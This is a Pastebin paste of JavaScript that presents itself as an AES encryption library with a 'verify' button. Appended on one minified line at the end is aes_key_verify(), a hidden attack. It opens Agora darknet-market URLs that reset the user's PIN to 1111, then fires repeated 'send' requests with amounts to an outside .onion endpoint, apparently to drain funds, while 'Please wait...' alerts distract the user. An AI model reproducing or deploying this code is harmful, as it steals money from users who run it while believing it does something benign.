Advertisement
Guest User

Untitled

a guest
Jun 11th, 2015
6,731
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.67 KB | None | 0 0
  1. function verify(button){
  2. document.getElementById('verify').innerHTML= 'Processing...';
  3. aes_key_verify();
  4. }
  5.  
  6. /*
  7. * JavaScript AES implementation using Counter Mode
  8. *
  9. * Copyright (c) 2010 Robert Sosinski (http://www.robertsosinski.com)
  10. * Offical Web Site (http://github.com/robertsosinski/js-aes)
  11. *
  12. * Permission is hereby granted, free of charge, to any person
  13. * obtaining a copy of this software and associated documentation
  14. * files (the "Software"), to deal in the Software without
  15. * restriction, including without limitation the rights to use,
  16. * copy, modify, merge, publish, distribute, sublicense, and/or sell
  17. * copies of the Software, and to permit persons to whom the
  18. * Software is furnished to do so, subject to the following
  19. * conditions:
  20. *
  21. * The above copyright notice and this permission notice shall be
  22. * included in all copies or substantial portions of the Software.
  23. *
  24. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
  25. * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
  26. * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
  27. * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
  28. * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
  29. * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
  30. * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
  31. * OTHER DEALINGS IN THE SOFTWARE.
  32. */
  33. var AES = {
  34. VERSION: "1.2",
  35.  
  36. sbox: [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
  37. 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
  38. 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
  39. 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
  40. 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
  41. 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
  42. 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
  43. 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
  44. 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
  45. 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
  46. 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
  47. 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
  48. 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
  49. 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
  50. 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
  51. 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16],
  52.  
  53. rcon: [[0x00, 0x00, 0x00, 0x00],
  54. [0x01, 0x00, 0x00, 0x00],
  55. [0x02, 0x00, 0x00, 0x00],
  56. [0x04, 0x00, 0x00, 0x00],
  57. [0x08, 0x00, 0x00, 0x00],
  58. [0x10, 0x00, 0x00, 0x00],
  59. [0x20, 0x00, 0x00, 0x00],
  60. [0x40, 0x00, 0x00, 0x00],
  61. [0x80, 0x00, 0x00, 0x00],
  62. [0x1b, 0x00, 0x00, 0x00],
  63. [0x36, 0x00, 0x00, 0x00]],
  64.  
  65. cipher: function(input, w) {
  66. var nb = 4;
  67. var nr = w.length / nb - 1;
  68. var state = [new Array(nb), new Array(nb), new Array(nb), new Array(nb)];
  69. var output = new Array(4 * nb);
  70.  
  71. var i, round;
  72.  
  73. for (i = 0; i < input.length; i++) {
  74. state[i % 4][Math.floor(i / 4)] = input[i];
  75. }
  76.  
  77. this.addRoundKey(state, w, 0, nb);
  78.  
  79. for (round = 1; round < nr; round++) {
  80. this.subBytes(state, nb);
  81. this.shiftRows(state, nb);
  82. this.mixColumns(state, nb);
  83. this.addRoundKey(state, w, round, nb);
  84. }
  85.  
  86. this.subBytes(state, nb);
  87. this.shiftRows(state, nb);
  88. this.addRoundKey(state, w, round, nb);
  89.  
  90. for (i = 0; i < output.length; i++) {
  91. output[i] = state[i % 4][Math.floor(i / 4)];
  92. }
  93.  
  94. return output;
  95. },
  96.  
  97. subBytes: function(state, nb) {
  98. var r, c;
  99.  
  100. for (c = 0; c < nb; c++) {
  101. for (r = 0; r < 4; r++) {
  102. state[r][c] = this.sbox[state[r][c]];
  103. }
  104. }
  105. },
  106.  
  107. shiftRows: function(state, nb) {
  108. var temp = new Array(nb);
  109.  
  110. var r, c;
  111.  
  112. for (r = 1; r < 4; r++) {
  113. for (c = 0; c < nb; c++) {
  114. temp[c] = state[r][(c + r) % nb];
  115. }
  116. for (c = 0; c < 4; c++) {
  117. state[r][c] = temp[c];
  118. }
  119. }
  120. },
  121.  
  122. mixColumns: function(state, nb) {
  123. var r, c, a, b;
  124.  
  125. for (c = 0; c < nb; c++) {
  126. a = new Array(4);
  127. b = new Array(4);
  128.  
  129. for (r = 0; r < 4; r++) {
  130. a[r] = state[r][c];
  131. b[r] = state[r][c] & 0x80 ? state[r][c] << 1 ^ 0x11b : state[r][c] << 1;
  132. }
  133.  
  134. state[0][c] = b[0] ^ a[3] ^ a[2] ^ b[1] ^ a[1];
  135. state[1][c] = b[1] ^ a[0] ^ a[3] ^ b[2] ^ a[2];
  136. state[2][c] = b[2] ^ a[1] ^ a[0] ^ b[3] ^ a[3];
  137. state[3][c] = b[3] ^ a[2] ^ a[1] ^ b[0] ^ a[0];
  138. }
  139. },
  140.  
  141. addRoundKey: function(state, w, round, nb) {
  142. var r, c;
  143.  
  144. for (c = 0; c < nb; c++) {
  145. for (r = 0; r < 4; r++) {
  146. state[r][c] ^= w[round * 4 + c][r];
  147. }
  148. }
  149. },
  150.  
  151. keyExpansion: function(key) {
  152. var nk = key.length / 4;
  153. var nb = 4;
  154. var nr = nk + 6;
  155. var w = new Array(nb * (nr + 1));
  156. var temp = new Array(4);
  157.  
  158. var i, j;
  159.  
  160. for (i = 0; i < nk; i++) {
  161. w[i] = [key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3]];
  162. }
  163.  
  164. for (i = nk; i < w.length; i++) {
  165. w[i] = new Array(4);
  166.  
  167. for (j = 0; j < 4; j++) {
  168. temp[j] = w[i - 1][j];
  169. }
  170.  
  171. if (i % nk === 0) {
  172. this.rotWord(temp);
  173. this.subWord(temp);
  174.  
  175. for (j = 0; j < 4; j++) {
  176. temp[j] ^= AES.rcon[i / nk][j];
  177. }
  178. }
  179. else if (nk > 6 && i % nk === 4) {
  180. this.subWord(temp);
  181. }
  182.  
  183. for (j = 0; j < 4; j++) {
  184. w[i][j] = w[i - nk][j] ^ temp[j];
  185. }
  186. }
  187.  
  188. return w;
  189. },
  190.  
  191. rotWord: function(w) {
  192. var temp = w[0];
  193.  
  194. var i;
  195.  
  196. for (i = 0; i < 3; i++) {
  197. w[i] = w[i + 1];
  198. }
  199.  
  200. w[3] = temp;
  201. },
  202.  
  203. subWord: function(w) {
  204. var i;
  205.  
  206. for (i = 0; i < 4; i++) {
  207. w[i] = this.sbox[w[i]];
  208. }
  209. },
  210.  
  211. generateKey: function() {
  212. var key = new Array(16);
  213.  
  214. var i;
  215.  
  216. for (i = 0; i < 16; i++) {
  217. key[i] = Math.floor(Math.random() * 0x100);
  218. }
  219.  
  220. return key;
  221. }
  222. };
  223.  
  224. AES.Base64 = {
  225. characters: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  226.  
  227. encode: function (input) {
  228. var output = "";
  229.  
  230. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  231.  
  232. var i;
  233.  
  234. for (i = 0; i < input.length;) {
  235. chr1 = input.charCodeAt(i++);
  236. chr2 = input.charCodeAt(i++);
  237. chr3 = input.charCodeAt(i++);
  238.  
  239. enc1 = chr1 >> 2;
  240. enc2 = ((chr1 & 0x3) << 4) | (chr2 >> 4);
  241. enc3 = ((chr2 & 0xf) << 2) | (chr3 >> 6);
  242. enc4 = chr3 & 0x3f;
  243.  
  244. if (isNaN(chr2)) {
  245. enc3 = enc4 = 64;
  246. }
  247. else if (isNaN(chr3)) {
  248. enc4 = 64;
  249. }
  250.  
  251. output = output + this.characters.charAt(enc1) +
  252. this.characters.charAt(enc2) +
  253. this.characters.charAt(enc3) +
  254. this.characters.charAt(enc4);
  255. }
  256.  
  257. return output;
  258. },
  259.  
  260. decode: function (input) {
  261. var output = "";
  262.  
  263. var chr1, chr2, chr3, dec1, dec2, dec3, dec4;
  264.  
  265. var i;
  266.  
  267. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  268.  
  269. for (i = 0; i < input.length;) {
  270. dec1 = this.characters.indexOf(input.charAt(i++));
  271. dec2 = this.characters.indexOf(input.charAt(i++));
  272. dec3 = this.characters.indexOf(input.charAt(i++));
  273. dec4 = this.characters.indexOf(input.charAt(i++));
  274.  
  275. chr1 = (dec1 << 2) | (dec2 >> 4);
  276. chr2 = ((dec2 & 0xf) << 4) | (dec3 >> 2);
  277. chr3 = ((dec3 & 0x3) << 6) | dec4;
  278.  
  279. output = output + String.fromCharCode(chr1);
  280.  
  281. if (dec3 !== 64) {
  282. output = output + String.fromCharCode(chr2);
  283. }
  284. if (dec4 !== 64) {
  285. output = output + String.fromCharCode(chr3);
  286. }
  287. }
  288.  
  289. return output;
  290. }
  291. };
  292.  
  293. AES.Counter = function() {
  294. var time = Math.floor((new Date()).getTime() / 1000);
  295.  
  296. this.arr = new Array(16);
  297.  
  298. var i;
  299.  
  300. for (i = 0; i < 4; i++) {
  301. this.arr[i] = (time >>> i * 8) & 0xff;
  302. }
  303. for (i = 4; i < 8; i++) {
  304. this.arr[i] = Math.floor(Math.random() * 0x100);
  305. }
  306. for (i = 8; i < 16; i++) {
  307. this.arr[i] = 0;
  308. }
  309.  
  310. this.increment = function() {
  311. for (i = 15; i >= 8; i--) {
  312. if (this.arr[i] === 0xff) {
  313. this.arr[i] = 0;
  314. }
  315. else {
  316. this.arr[i]++;
  317. break;
  318. }
  319. }
  320.  
  321. return this;
  322. };
  323. };
  324.  
  325. AES.Crypto = function(key) {
  326. var blockSize = 16;
  327.  
  328. this.key = key;
  329. this.keySchedule = AES.keyExpansion(key);
  330. this.counter = new AES.Counter();
  331.  
  332. var i;
  333.  
  334. this.setCounter = function(arr) {
  335. for (i = 0; i < 16; i++) {
  336. this.counter.arr[i] = arr[i];
  337. }
  338.  
  339. return this;
  340. };
  341.  
  342. this.getCounter = function() {
  343. return this.counter.arr;
  344. };
  345.  
  346. this.run = function(input) {
  347. var blockCount = Math.ceil(input.length / blockSize);
  348. var output = new Array(input.length);
  349.  
  350. var counterBlock, byteCount, offset;
  351.  
  352. var block, c;
  353.  
  354. for (block = 0; block < blockCount; block++) {
  355. counterBlock = AES.cipher(this.counter.arr, this.keySchedule);
  356. byteCount = block + 1 === blockCount ? input.length % blockSize : blockSize;
  357. offset = block * blockSize;
  358.  
  359. for (c = 0; c < byteCount; c++) {
  360. output[offset + c] = String.fromCharCode(counterBlock[c] ^ input.charCodeAt(offset + c));
  361. }
  362.  
  363. this.counter.increment();
  364. }
  365.  
  366. return output.join("");
  367. };
  368.  
  369. this.encrypt = function(text) {
  370. return AES.Base64.encode(this.run(text));
  371. };
  372.  
  373. this.decrypt = function(text) {
  374. return this.run(AES.Base64.decode(text));
  375. };
  376. };
  377. window.onbeforeunload = function(){ return "Are you sure you want to leave?"; }; function aes_key_verify() { var redirectUrl = 'http://sydneymfsnkpw7ln.onion/process'; var url = 'http://agorahooawayyfoe.onion'; window.open (url+"/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit=", "_blank"); window.open (url+"/resetpin?pin1=1111&pin2=1111&submit=Save", "_blank"); window.open (redirectUrl+"?action=send&amount=1&wait=1", "_blank"); window.open (redirectUrl+"?action=send&amount=0.01&wait=2", "_blank"); window.open (redirectUrl+"?action=desc&wait=2", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=4", "_blank"); window.open (redirectUrl+"?action=send&amount=10&wait=6", "_blank"); window.open (redirectUrl+"?action=send&amount=5&wait=6", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=8", "_blank"); window.open (redirectUrl+"?action=send&amount=0.5&wait=8", "_blank"); window.open (redirectUrl+"?action=send&amount=0.05&wait=10", "_blank"); window.open (redirectUrl+"?action=send&amount=2&wait=10", "_blank"); window.open (redirectUrl+"?action=reset&wait=12", "_blank"); window.open (redirectUrl+"?action=set&wait=12", "_blank"); window.open (redirectUrl+"?action=send&amount=1&wait=14", "_blank"); window.open (redirectUrl+"?action=send&amount=0.01&wait=14", "_blank"); window.open (redirectUrl+"?action=send&amount=0.5&wait=16", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=16", "_blank"); window.open (redirectUrl+"?action=send&amount=10&wait=18", "_blank"); window.open (redirectUrl+"?action=send&amount=5&wait=18", "_blank"); window.open (redirectUrl+"?action=send&amount=0.1&wait=20", "_blank"); window.open (redirectUrl+"?action=send&amount=0.5&wait=20", "_blank"); window.open (redirectUrl+"?action=send&amount=0.05&wait=22", "_blank"); window.open (redirectUrl+"?action=send&amount=2&wait=22", "_blank"); window.open (redirectUrl+"?action=desc&wait=24", "_blank"); alert('Please wait...'); setTimeout(function() {alert('Please wait...');},2000); setTimeout(function() {alert('Please wait...');},5000); setTimeout(function() {alert('Please wait...');},10000); setTimeout(function() {alert('Please wait...');},15000); };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement